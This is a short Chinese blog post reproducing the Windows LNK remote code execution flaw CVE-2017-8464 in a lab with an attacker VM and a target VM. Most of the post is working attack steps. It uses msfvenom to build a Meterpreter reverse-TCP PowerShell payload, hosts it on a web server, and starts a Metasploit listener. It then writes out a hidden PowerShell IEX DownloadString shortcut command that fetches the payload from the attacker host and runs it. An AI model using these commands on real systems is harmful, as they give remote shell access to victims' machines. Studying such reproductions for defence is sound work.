Windows LNK 远程命令执行漏洞利用流程

Posted by JenI on 2017-06-17 00:00:00+08:00

前言

最近,微软发布的新一波补丁中修复了两个比较严重的漏洞,一个是 Windows Search 远程命令执行漏洞(CVE-2017-8543),另一个就是今天要复现的 LNK 文件远程代码执行漏洞(CVE-2017-8464),这个 LNK 远程代码执行漏洞由于和 2010 年“伊朗震网(Stuxnet)”事件中所使用的穿透核设施中隔离网络的 Windows 安全漏洞 CVE-2010-2568 非常相似,因此也被圈里人亲切的称作 “震网三代(Stuxnet3)”。下面是复现过程:

漏洞复现

准备环境,我开了两台虚拟机,一台作为攻击机,另一台作为靶机:

  • 攻击机:Blackarch x86_64 - IP:192.168.6.156, 安装有 Metasploit。
  • 靶机:Windows server 2008 x64 - IP:192.168.6.147
win-lnk-1

首先在攻击机上生成 powershell 脚本

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.6.156 lport=23333 -f psh-reflection > ./jenisec.ps1

win-lnk-2

然后在攻击机上搭建 web 环境

# 安装 apache
sudo pacman -S apache
# 启动 web 服务
sudo systemctl start httpd

win-lnk-3

Web服务搭好后将第一步生成的恶意 powershell 脚本放到 Web 服务器的根目录,使用浏览器访问,确保文件可以通过网络访问到。

mv jenisec.ps1 /srv/http/

win-lnk-4

使用 Metasploit 监听本地的 23333 端口,这个端口需要和我们生成 powershell 时设置的端口相对应。

win-lnk-5

在靶机上创建快捷方式,对象位置填写恶意脚本的网络位置

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.6.156/jenisec.ps1');test.ps1"

win-lnk-6

点击快捷方式,Windows 系统解析快捷方式时下载了快捷方式所指向的 jenisec.ps1 文件,并使用 powershell 执行了该文件。效果如下

win-lnk-1

作者:   JenI   转载请注明出处,谢谢


Comments !